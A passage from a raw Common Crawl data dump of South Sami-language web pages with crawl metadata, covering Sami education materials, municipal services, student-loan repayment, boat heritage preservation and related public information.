dåerede(Learoesoejkesje aarhskuvlese 98, rev 2010).\nMijjieh vuepsielaakan barkebe juktie maanaj baakoeh- jïh baakoetjïerth övtiedibie jïh aaj maahtoem matematihkem vueptiestidh jïh nuhtjedh buerie iktemieresne. Gåessie tjaatsegïele dåarjeginie (TAKK) kommunikasjovnine maanaj jïh pedagåågi gaskoeh, mijjieh sïjhtebe jeananidh ååjmedimmiem buerie gïeleövtiedæmman gaajhkide maanide. Mijjen vuepsie lea ahte maanah gelkieh seahkarimmiem sinsætnan vuesiehtidh, byjresem, eatnemem jïh mijjen tjåenide vaarjelidh.\nBïerjen tjïelte reeremetjïelte saemien kultuvrese jïh gïelese lea. Lpfö 98 rev 2010 jeahta: \"aarhskuvlen barkoelaavenjassesne galka maanaj maahtoem jïh maanaj jïjtsh kultuvreskaepiedimmiem övtiedidh, dovne aktem kultuvreaerpiem vedtedh- vierhtieh, vuekieh jïh histovrijem, gïelem jïh daajroem- akten boelveste mubpie boelvese\". Gåessie guvvieh, laavloeh jïh tjaalegh viehkine, maanide madtjeldehtieh soptsestidh dovne daaroengïelesne jïh altese ietniengïelesne.\nAarhskuvlen ålkoe-byjresisnie aktem låavthgåetiem gååvnese gusnie ovmessie darjomh maanajgujmie darjobe. Mijjieh Saemien åålmegebiejjiem heevehtibie gusnie gaajhkide, saemiengïeleste gosk beapmoem gievlesne lægan. Aarhskuvlem lea nænnoestimmien mænngan darjoemoenehtsisnie 2011-10-05, reaktam åtna darjoem njieljie biejjieh fïerhten jaepien steegkedh ihke vierhtiedimmie, rååresjimmie jïh ööhpehtimmiem utnedh. Lägdanen aarhskuvle steegkeldahkesne rååresjæmman jïh ööhpehtæmman, 21\/8 jïh aaj 4\/12. Jis gyhtjelassh åtnah, gaskesadth aarhskuvleåejvie Erika Forseth 0687-169 54.\nUppdaterad:","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/aarhskuvlhbierjentjieltesneforskoloribergskommun\/lagdanenaarhskuvlelagdansforskola.4.7b37c8cd1622534e10b2c52.html","date":"2022-10-04T13:41:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337504.21\/warc\/CC-MAIN-20221004121345-20221004151345-00492.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":216,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Vatle, Liv Bertije Iđut Vaadtasovvemejaepie 2014 Faage Saemien 1 Gïengielåbpoe saemiengïelem ööhpehtidh Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele ISBN 978-82-7601-219-4 Formaate Sïejhme gærja Reakta-aajhtere Iđut Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 48 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Kultuvre Litteratuvre Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Almetjeheamture Heamture Dyjre-soptsesh Vaajese Vaajese","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/node\/19256","date":"2022-10-02T21:28:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337360.41\/warc\/CC-MAIN-20221002212623-20221003002623-00175.warc.gz","language":"sma","language_score":0.9998867512,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998867511749268}","num_words":48,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goerehtimmie saemiengïelesne edtja learoehkidie nuepiem vedtedh saemien gïelh jïh teeksth gïehtjedidh jeereldihkie vuekiejgujmie ovmessie perspektijvijste jïh jïjtsh ïedtji mietie. Faage teekstevierhtieh våaroeminie åtna gusnie njaalmeldh, tjaaleldh jïh tjåanghkan bïejeme teeksth, gusnie teekste, tjoeje jïh guvvieh ektesne spielieh, jïh gusnie ovmessie teekstesåarhth åehpiedahta ovmessie meediji tjïrrh. Edtja teekstide ektiedidh learohki jïjtsh ektietïjjese jïh saemien kultuvrese jïh soptsestimmievuekide åvtetje tïjjen jïh daaletje tïjjen. Faage edtja learoehkidie nuepiem vedtedh kreatijvelaakan gaskesadteminie jïh teekstesjugniedimmine barkedh jïjtsh ïedtji mietie. Faage edtja aaj nuepiem vedtedh ovmessie barkoevuekieh evtiedidh dovne oktegh jïh mubpiejgujmie ektine. Faage edtja aaj viehkiehtidh learohki maahtoem evtiedidh guarkedh, jïh laejhtehkslaakan vuarjasjidh guktie teknologije jïh digitaale meedijah saemien gïelem jïh gïeleåtnoem siebriedahkesne tsevtsieh. Faage edtja learoehkidie barkoejieliedasse ryöjrehtidh gusnie krïevenassh gïeleldh jïh digitaale maahtose bïejesuvvieh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.udir.no\/lk20\/sfs02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2022-10-02T20:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337339.70\/warc\/CC-MAIN-20221002181356-20221002211356-00039.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":121,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Nasjonalt senter for kunst og kultur i opplæringen Vaadtasovvemejaepie 2021 Faage Vætnoe Musihke Saemien musihke jïh scena Daltese Maanagïerte 1-4 5-7 8-10 VGS Giele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Nasjonalt senter for kunst og kultur i opplæringen Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Vuelie Duedtie Kultuvre Filme Kåanste Litteratuvre Musihke Siebriedahke Skuvle jïh ööhpehtimmie","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/node\/34703","date":"2022-10-05T17:39:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337663.75\/warc\/CC-MAIN-20221005172112-20221005202112-00509.warc.gz","language":"sma","language_score":0.9931574464,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9931574463844299}","num_words":52,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien - Sydsamiska\nBuerie båateme Kungsbackan tjïeltese.\nMijjieh datnem gijhtebe dov mïnnemen åvteste mijjen gåetiesæjrosne. Tjïelte ovmessie dïenesjh faalehte mah ovmessie suerkide ektese govlesuvvieh, vg. ööhpehtimmie, maanasåjhtoe, healsoesåjhtoe, kultuvre jïh eejehtsdarjomh.Mijjen lea aaj dïedte gyhtjelassigujmie barkedh mah dov gåetiem tsevtsieh, jïh mijjieh aaj dïenesjh sïeltide faalehtibie.\nGaajhkh bïevnesh sveerjen gïelesne gååvnesieh.Jis gyhtjelassh tjïelten bïjre åtnah, maahtah mijjen åestije-dïenesjem govlehsadtedh man nomme Kungsbacka Direkt – mijjieh dåajvobe datnem vaestiedidh. Dïhte eeremes viehkie maam maahtah mijjeste åadtjodh lea englaanten gïeleldh.\nSvaalhtesh\nWebbesäjrosne informationsverige.se External link. bïevnesh gååvnesh ovmessie gïeline mah maehtieh buerie årrodh dutnjan gie aadtjen Sveerjese båateme.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/kungsbacka.se\/other-languages\/aarjelsaemien---sydsamiska","date":"2022-12-08T03:59:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711232.54\/warc\/CC-MAIN-20221208014204-20221208044204-00459.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":94,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n2006\nFaage\nGiele\nISBN\n978-82-7601-115-9\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n33\nDaate learoevierhtie bihkede guktie edtjh laajpetjh bååhkesjidh. Åenehks tekstigujmie jïh tjeehpes-veelkes guvviejgujmie vuesehte guktie edtjh dåemiedidh. Gærja lea dovhtehke paehpierasse tjaalasovveme. Aerebe lea jeatja learoevierhtieh seamma raajrosne tjaalasovveme. Dej sisvege lea gueliekrovhte, eeplagaahkoe jïh paannelaejpieh. Birkelid maahtoesentere lea gærjam hammoedamme.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_laajpetjh","date":"2022-12-03T13:50:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00542.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":55,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maeksieh bååstide lohkemedåarjoem\nDatne gie lohkeme lohkemedåarjojne CSN:este aalka bååstide maeksedh gåessie datne ih ståantem lohkh vuj lohkemidie lohkemedåarjojne illedh. Naemhtie aaj jis datne barkohts, åadtjoeh eejhtegemaaksoem jallh ålkoelaantese juhtedh. Daesnie bïevnesh gaavnh guktie datne bååstide maaksah jïh maam maahtah darjodh jis ih maehtieh maeksedh.\nGåessie aalkam bååstide maeksedh?\nJis voestes aejkien datne lohkemelöönemem vaalteme datne aalkah bååstide maeksedh aaremosth govhte aski mænngan dov lij lohkemedåarjoe.\nGåessie galkh aelkedh maeksedh datne prieviem åadtjoeh CSN:este maeksemesoejkesjinie jïh maeksemekåarhtine. Åadtjoeh dam gåessie orre jaepie sjædta.\nDatne leah lohkemelöönemem aerebe vaalteme jïh aalkeme bååstide maeksedh? Dellie aalkah maeksedh ryöktesth mænngan dov minngemes lohkememaekseme.\nMan jïjnjh edtjem maeksedh?\nDov jaepiedïjresne, maam åadtjoeh tsïengelen fïerhten jaepien, maahtah vuejnedh man jïjnjh edtjh maeksedh jïh dan jaepien ræntadaltesem.\nMan jïjnjh edtjh maeksedh fïerhten jaepien (jaepiemaekseme) dejstie våaroemijstie:\n- man jïjnjh datne leah lööneme\n- man jolle dïhte rænta lea\n- man guhkiem edtjh dov löönemem maeksedh.\nGuktie manne maaksam?\nMaahtah veeljedh dov lohkemelöönemem bååstide maeksedh autogirojne, e-fakturinie jallh sïjsemaeksemekåarhtine. Jis ålkoelaantesne årroeh, maahtah dov löönemem maeksedh maeksemekåarhtine.\nAutogiro – dibrehth dov internehtebaanghken baaktoe, beetnegh dov kontoste giesedh\nE-faktura – dibrehth dov internehtebaanghken baaktoe, datne dåhkasjehtieh e-fakturam ryöktesth intenehtebaanghkesne\nSïjsemaeksemekåarhte – aelhkemes datne maaksah dov internehtebaanghkesne dej bïevnesigujmie mah sïjsemaeksemekåarhtesne.\nMaeksemekåarhte - datne gie ålkoelaantesne årroeh maahtah maeksemekåarhtine maeksedh mij dibrehte Visa:se vuj Mastercard:ese Mov sæjrojne.\nMan guhkiem maaksam?\nMaahtah guhkemes löönemem bååstide maeksedh 25 jaepiej mietie. Lööneme edtja bååstide maeksedh årrodh jaepien gosse datne 64 jaepieh illh. Dov aalteren gaavhtan jïh man stoerre skåltoem åtnah maahtah åeniehkåbpoe tïjjem åadtjodh löönemem bååstide maeksedh. Dov jaepiedïjresne maahtah lohkedh man guhkies tïjjem åtnah dov lohkemelöönemem bååstide maeksedh.\nGåessie maaksam?\nE-dïenesje Jeatjahtehtedh fïerhten askem maeksedh:\nDaamhtemes datne njieljien aejkien jaepesne maeksedh (goevten, suehpeden, mïetsken jïh rahkan) mohte maahtah jïjtje jeatjahtehtedh guktie fïerhten asken maeksedh Mov sæjrojne.\nHankala maksaa lainaa\nE-dïenesje Maeksemem åvtese juhtedh:\nE-dïenesje Jeatjahtehtedh guktie fïerhten asken maeksedh:\nE-dïenesje Ohtsedidh unnebe maeksedh:\nMaahtah jïjtje maeksemem åvtese juhtedh akten asken vuj jeatjahtehtedh guktie fïerhten asken maeksedh Mov sæjrojne.\nMaahtah aaj ohtsedidh unnebe boelhkem maeksedh. Dam gohtje vueliebeajeme. Maahtah reaktam utnedh vueliebeajamasse jis vaenie baalhkam åtnah jïh sjïere sjïeki gaavhtan. Sjïere sjïekh maehtieh vuesiehtimmie årrodh jis åadtjoeh jieliehtimmiedåarjoem. Jis åadtjoeh vueliebeajemem maahta destie sjïdtedh dov båetije jaepiemaeksemh jollebe sjidtieh.\nJis datne læjhkan gïerve åtnah löönemem maeksedh mijjieh sïjhtebe datne mijjem ringkh, dellie maehtebe ektesne bööremes loetemem gaavnedh dov tsiehkesne.\nJis ih maeksieh\nJis datne ih löönemem maeksieh maeksemesoejkesjen mietie, dellie daah deahpadieh:\n- Mijjieh krïebpesjimmiem dutnjien seedtedh jïh datne tjoerh 450 kråvnah maeksedh krïebpesjimmiemaaksojne.\n- Jis ih maeksieh seedtebe krïebpesjimmiem dutnjien asken mænngan. Dellie tjoerh 450 kråavnah jienebe.\n- Jis datne læjhkan ih maeksieh, seedtebe krïebpesjimmieprieviem dutnjien.\n- Jis ih krïebpesjimmiem maeksieh seedtebe dov ieriem Kronofogden gåajkoe. Dellie maahtah maeksememïerhkesjimmiem åadtjodh. Jis ålkoelaantesne årrodh seedtebe dov ieriem inkassosïeltese.\nJienebh vuj abpe lohkemelöönemem maeksedh\nMaahtah jienebe dov lohkemelöönemistie maeksedh guktie löönemem varkebe maeksedh. Maahtah aaj dov abpe löönemem maeksedh dallegh. Gaskesadth CSN:em jis sïjhth jienebe maeksedh.\nBååstide krïebpesjimmie – jis åådtjeme lohkememaeskemem mïsse ih reakta utnieh\nJis datne beetnegh åådtjeme CSN:este mejtie ih reaktam utnieh, tjoerh dejtie bååstide maeksedh. Dellie åadtjoeh krïebpesjimmie bååstide maeksedh. Maahta vuesiehtimmie jis datne dov lohkemh vuj kuvsjem orrijamme.\nJis datne krïebpesjimmie åådtjeme edtjh datne dam dallegh maeksedh. Datne åadtjoeh sïjsemaeksemekåarhtem ektesne sjæjsjalimmine edtjh bååstide maeksedh.\nDatne aaj ræntam daarpesjh maeksedh. Mijjieh aaj vaeltebe ekspedisjovnemaekseme mij 100 kråvnah fïerhten krïebpesjimmien jïh jaepien åvteste.\nJis åtnah gïerve maeksedh maahta CSN såemies tsiehkesne maeksemesoejkesjem jååhkesjidh. Ringkh mijjiem jis sïjhth nuepiem digkiedidh maeksemesoejkesjem darjodh.\nJis ålkoelaantese juhtedh\nJis ålkoelaantese jåhtah edtjh jåerhkedh bååstide maeksedh dov maeksemesoejkesjen mietie. Aellieh åajaldehtieh dov gaskesadtemebïevnesh staeriedidh Min profilen nuelesne Mov sæjrojne. Jis edtjh ålkoelaantesne edtjh årrodh jaepiem jallh guhkebe edtjh dam Skatteverketasse gaskesadtedh.\nVihkeles staeries gaskesadtemebïevnesh\nE-dïenesje Mov profijle:\nVihkeles mijjieh utnebe staeries gaskesadtemebïevnesh dov bïjre Mov sæjrojne, guktie mijjieh maehtebe datnem jaksedh telefovnine jallh e-påastine. Dellie maehtebe datnem gaskesadtedh jis daarpesjh bïevnesh mijjen luvhtie. Loggedh sïjse Mov sæjrojde jïh gïehtjedh mah gaskesadtemebïevnesh desnie. Jis bååjhtoeh bïevnesh lohkh vielie sæjrosne jåhtam jallh adressem målsoem (sveerjengïelesne)","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/pallaskolan.csn.se\/languages\/sami---aarjelsaemiengiele\/betala-tillbaka-studielan-sydsamiska.html","date":"2022-12-05T14:26:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711017.45\/warc\/CC-MAIN-20221205132617-20221205162617-00555.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":642,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Rushfeldt, Reidun Bertije Verdiutvalget i Finnmark Vaadtasovvemejaepie 2001 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Formaate Sïejhme gærja Reakta-aajhtere Verdiutvalget i Finnmark Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 24 Aamhtesh Eatnemelearoe Åålmege jïh laanth Geologije Saepmie Histovrije Nöörjen histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/node\/9619","date":"2022-12-06T14:43:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711108.34\/warc\/CC-MAIN-20221206124909-20221206154909-00481.warc.gz","language":"sma","language_score":0.998263061,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9982630610466003}","num_words":53,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetien sisnie byjreske\nInomhusmiljö\nGåetiej sisnie byjreske maahta båajhtode årrodh jïh mijjen healsoe dæjpa jallh mijjieh destie skiemtjes sjïdtebe. Maahta v.g. lapsoe, goehpe, båssoe jallh båajhtoeh temperatuvre. Gosse gåetien sisnie byjreskem laejhtedh, voestes gåetien aajhterem bieljeldh. Jis dïhte ij maehtieh viehkine årrodh dellie byjreske- jïh healsoevaarjelimmiem bieljeldh, mij dam lihkebe goerehte jïh laakh jïh njoelkedassh viehkine maahta krievedh dah dåeriesmoerh gïetede.\nJeenjebh bïevnesh\nByjreske- jïh healsoevaarjelimmie, telefovne: 090-16 16 97","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/gaetiensisniebyjreske.4.333c64e217718860a231210.html","date":"2022-11-30T21:55:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710771.39\/warc\/CC-MAIN-20221130192708-20221130222708-00615.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":67,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien vïnhtsevaarjelimmieVïnhtse vihkeles biehkie saemien kultuvresne. Maahta saemien vïnhtsebigkemevuekieh vihtiestidh guhkede gietjeste. Joe gånkavaajesinie saemiej bïjre soptseste mah stoerre mearoeskïhph bigkieh. Petter Dass siglevïnhtsebigkemen (jekt) bïjre soptseste 1600-låhkoen, jïh båeries protokollh dïrregh jïh dalhketjh buerkiestieh mah vïnhtsebigkemisnie åtnasovvin. Gellie båarasåbpoe gaaltijh gååvnesieh mah saemide buerkiestieh goh væjkeles vïnhtsebigkijh. Vaarjelimmie vïnhtsijste joekehtahta jeahtah kultuvremojhtesevaarjelimmeste dan åvteste ij leah naan såarhts jïjtsistie vaarjelimmie aalteren tjirrh. Daan raajan Rïjhkeantikvaare dåarjoevierhtieh joekedamme vïnhtsevaarjelæmman. Jaepien 2020 raejeste dellie fylhkh – jïh Saemiedigkie – mah edtjieh dåarjoem joekedidh jïh dåvvomem gïehtjedidh. Saemiedigkie edtja aaj strategijh saemien vïnhtsevaarjelæmman hammoedidh. Annjebodts ij leah naan vïnhtsh mah reeresuvvieh jallh dåarjoem åadtjoeh Saemiedigkeste. Ij leah naan bijjieguvvie vïnhtsi bijjeli mah saemien ektiedimmiem utnieh. Saemiedigkie sæjhta dan åvteste barkedh juktie joekehts såarhts vïnhtsh vaarjelidh mah maehtieh saemien vïnhtsehistovrijem gaptjedh. Daan biejjien saemien museumh vaarjelieh dejtie smaave ræhpas saemien vïnhtside jïh jeatjah vïnhtside mah leah tjåanghkan naavlesjamme, sijjen daeverivåarhkoej tjïrrh. Jeenjesh aaj privaate aajhteri luvnie, men ij naan bijjieguvvie gååvnesh mah såarhts vïnhtsh, man gellie leah jallh guktie dej vuekie lea. Naakede mij lea sjollehke saemien mearoegaedtien kultuvrese jïh vïnhtsevaarjelæmman, lea noerhtelaanti kultuvredepartemeenth aktem ohtsemem deellin UNESCO:n tjaelemesæjjan njoktjen 2020, gusnie ohtsin noerhtelaanti naevlievïnhtsh edtjin åadtjodh læstose vearteneaerpiejgujmie båetedh. Gaajhkh båarasåbpoe saemien vïnhtsesåarhth mejtie damtebe daan aerpievuekien nualan båetieh, jïh saemien vïnhtsebigkemeaerpievuekieh leah sjïerelaakan neebnesovveme ohtsemisnie. Daate sæjhta saemien vïnhtseaerpievuekieh veartenekaarhtese bïejedh. Dåarjoe saemien vïnhtsevaarjelimmie Foredrag om samisk båtbygging Her er et foredrag seniorrådgiver for bygningsvern og fartøyvern Lars Børge Hansen Myklevold i Sametinget har holdt om samiske båtbyggertradisjoner. Foredraget er i regi av Evenes Kystlag og Várdobáiki samisk senter.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vinhtsevaarjelimmie\/","date":"2022-12-08T15:35:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711344.13\/warc\/CC-MAIN-20221208150643-20221208180643-00331.warc.gz","language":"sma","language_score":0.9999853373,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999853372573853}","num_words":254,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Les merShow less\nMulti rijhpeste nuepiem matematihkeøøhpetimmesne jih lohkehtæjjide dåaarjodh jih nuepiem vedtedh jih ovmessie øøhpetimmie vuekieh nuhtjedh. Multi vuesehte eadtjohks vihkeles jih lustes geajnoem matematihkese.\nMulti vïhtesje:\nDarjomes dæjpeles laakan tjoelmedidh, goereme jih skaepiedihks barkoe\nSjiehtesjamme øøhpetimmiem learoehvyøhki\nJearsoesvoete guktie tjïelke faageles barkoe jih progresjovne daan learoesoejkesjen mietie\nMulti åejvieboelhkine:\nGårredieh lohkeme jih darjomes ektelen\nSeamma aamhtese eensi-laakan gïetedellieh guhkebe tijjesne\nÅtna åenehks jih aelhkies teeksth\nØøhpetimmem learohkidie sjiehtesjamme ovmessie faageles daltesne\nÅtna aelhkies jih buerie Lohketæjjan gærja\nTjïelkedamme ulmide fïerhte kapihtelesne learoesoejkesjene\nMulti åejviekomponent fïerhte daltesne:\nLohketæjjan gærja A jih B\nLaavenjasse gærja\nKopiperme 5-7\nNedtesijjie: www.lagadus.org\/multi","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.gavpi.org\/laeremidler\/1697-multi-5a-maadthgaerja.html","date":"2022-12-05T18:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711042.33\/warc\/CC-MAIN-20221205164659-20221205194659-00023.warc.gz","language":"sma","language_score":0.9999783039,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999783039093018}","num_words":98,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lahtesi bïjre birrie guktie maahta dåårrehtimmiem saemien lïerehtæmman lissiehtidhTjïelte- jïh dajvedepartemeente jïh Maahtoedepartemeente lahtesh sijhtieh don fïerhtenjaapetje stoerredigkiebïevnesasse saemien gïelen, kultuvren jïh seabradahkejieleden bïjre, mij edtja dåårrehtimmien jïh maahtoen bïjre årrodh. vaeltedh. Reerenasse jïh Saemiedigkie leah dan åvteste moeneme dïhte minngebe stoerredigkiebïevnese saemien gïelen, kultuvren jïh seabradahkejieleden bïjre edtja dåårrehtimmien jïh maahtoen bïjre årrodh. Daesnie reerenasse sæjhta lïhkebe vuartasjidh maanagïertide, maadthlïerehtæmman jïh jollebe ööhpehtæmman. Lohkh preessebïevnesem Reerenasseste: Dåårrehtimmie jienebh saemienlohkehtæjjijste biejjieöörnegisnie minngebe stoerredigkiebïevnesisnie saemien gïelen, kultuvren jïh seabradahkejieleden bïjre. Saemiedigkie sæjhta jienebh dejstie saemien dajvijste lahtesh seedtieh, dan åvteste vihkele hijven konstruktijve raeriestimmieh åadtjodh guktie maahta saemien dåårrehtimmiem lissiehtidh jïh nænnoestidh. maahtah lahtesh seedtedh datneste, organisasjovneste jallh skuvleste.. Mierie lahtesigujmie båetedh lea goeven 15.b. daan jaepien. Tjïelte- jïh dajvedepartemeente lea joe göökte lahtesetjåanghkoeh tjïrrehtamme Guovdageaidnusne jïh Romsesne gålkoen 30. b.. Gålkoen 30.b. gåalmede lahtesetjåanghkoe edtja årrodh Levangkesne. Seedth lahtesh dåårrehtimmien bïjre jienebh saemienlohkehtæjjijste Reerenassen nedtesæjrosne. ArtikkelPublisertDatoFront 17.11.2022 14.43 SistEndret 21.11.2022 15.09","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/sametinget.no\/saernieh\/lahtesi-bijre-birrie-guktie-maahta-daarrehtimmiem-saemien-lierehtamman-lissiehtidh.22899.aspx","date":"2022-12-08T00:06:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711221.94\/warc\/CC-MAIN-20221207221727-20221208011727-00059.warc.gz","language":"sma","language_score":0.9999893904,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.99998939037323}","num_words":146,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aaj åemiealmetjen fuelhkie maahta luhpiem åadtjodh govnem heesedh, jis maehtieh vihtiestidh åemiealmetje dam sïjhti. Eejhtegh maehtieh luhpiem åadtjodh govnem heesedh sijjen åemiemaanide nuelelen 18 jaepieh. Åemiealmetjen fuelhkie ij maehtieh krïevedh akte tjïrkije gærhkoste edtja stïeresne årrodh gosse govne heesesåvva.\nPrivaate kroeptesijjie\nMaahta ajve luhpiem vedtedh privaate kroeptesæjjan jis sjïere byögkeles iedtje lea ektiedamme kroeptesæjjan, vuesiehtimmien gaavhtan jis kroeptesijjie akten institusjovnen lïhke biejesåvva mij lea tseegkesovveme åemiealmetjen jieleden jïh barkoen gaavhtan, tjeahpoen, daejremen jïh jeatjah barkoen sisnjeli.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.statsforvalteren.no\/sma\/oslo-og-viken\/almetjh-jih-siebriedahke\/govneheeseme\/","date":"2022-11-29T12:22:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710691.77\/warc\/CC-MAIN-20221129100233-20221129130233-00734.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":75,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie dïenesji bïjre syökedh Statpedeste?\nDatne barkoem åtna PP-dïenesjisnie?\nAjve akte «tjaangemeokse» Statpeden dïenesjidie. Edtja dïenesji bïjre syökedh ohtsemegoeren tjïrrh maam sæjrosne statped.no\/soknad gaavnh.\nOhtseme dïenesji bïjre seedtesåvva dan regijovnese ohtsijetjïelte jallh ohtsijefylhkentjïelte lea. Ohtseme elliestïjjen- 